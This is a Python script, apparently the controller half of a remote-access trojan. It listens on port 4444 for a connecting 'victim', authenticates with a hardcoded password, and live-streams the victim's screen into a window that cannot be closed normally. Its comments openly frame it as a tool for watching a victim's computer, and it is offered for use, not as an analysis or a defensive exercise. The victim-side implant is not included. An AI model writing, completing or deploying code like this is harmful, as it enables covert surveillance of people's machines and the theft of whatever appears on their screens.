Загрузка данных


# controller_gui.py - Full GUI with target screen only (no extra buttons)
# Run on your PC after victim connects

import socket
import struct
import threading
import tkinter as tk
from PIL import Image, ImageTk
import io
import sys

# ===== CONFIG =====
TARGET_IP = "0.0.0.0"  # Listen on all interfaces (victim connects to YOU)
TARGET_PORT = 4444
PASSWORD = "abobanecheat456"

# ===== GLOBALS =====
sock = None
root = None
label = None
status_label = None
screen_width = 1024
screen_height = 768

# ===== LISTENER =====
def start_listener():
    global sock
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind((TARGET_IP, TARGET_PORT))
    server.listen(1)
    root.after(0, lambda: status_label.config(text="Waiting for victim...", fg="yellow"))
    conn, addr = server.accept()
    sock = conn
    root.after(0, lambda: status_label.config(text=f"Connected from {addr[0]}", fg="green"))
    # Authenticate
    try:
        data = sock.recv(1024)
        if b"PASS_REQ" in data:
            sock.send(PASSWORD.encode())
            resp = sock.recv(1024).decode()
            if resp == "AUTH_OK":
                root.after(0, lambda: status_label.config(text="[AUTH OK] Streaming...", fg="lime"))
                # Start receiving screen
                threading.Thread(target=receive_screen, daemon=True).start()
            else:
                root.after(0, lambda: status_label.config(text="Auth failed", fg="red"))
                sock.close()
    except:
        root.after(0, lambda: status_label.config(text="Connection error", fg="red"))
        sock.close()

# ===== RECEIVE SCREEN STREAM =====
def receive_screen():
    global sock, label
    while True:
        try:
            size_data = sock.recv(4)
            if len(size_data) < 4:
                break
            size = struct.unpack(">I", size_data)[0]
            data = b""
            while len(data) < size:
                chunk = sock.recv(min(4096, size - len(data)))
                if not chunk:
                    break
                data += chunk
            if len(data) < size:
                break
            img = Image.open(io.BytesIO(data))
            # Resize to fit window while keeping aspect
            img.thumbnail((root.winfo_width()-20, root.winfo_height()-60))
            imgtk = ImageTk.PhotoImage(image=img)
            label.config(image=imgtk)
            label.image = imgtk
        except:
            break
    root.after(0, lambda: status_label.config(text="[DISCONNECTED]", fg="red"))

# ===== BUILD GUI =====
def build_gui():
    global root, label, status_label
    root = tk.Tk()
    root.title("Target Screen - Controller")
    root.geometry("1024x768")
    root.configure(bg="#111")
    root.minsize(400, 300)

    # Status bar
    status_label = tk.Label(root, text="Initializing...", fg="white", bg="#222", font=("Consolas", 10))
    status_label.pack(side=tk.BOTTOM, fill=tk.X)

    # Main screen label (image holder)
    label = tk.Label(root, bg="#111")
    label.pack(fill=tk.BOTH, expand=True)

    # Prevent closing via X (only allow forced kill from cmd)
    root.protocol("WM_DELETE_WINDOW", lambda: None)

    # Start listener in background
    threading.Thread(target=start_listener, daemon=True).start()

    root.mainloop()

# ===== MAIN =====
if __name__ == "__main__":
    build_gui()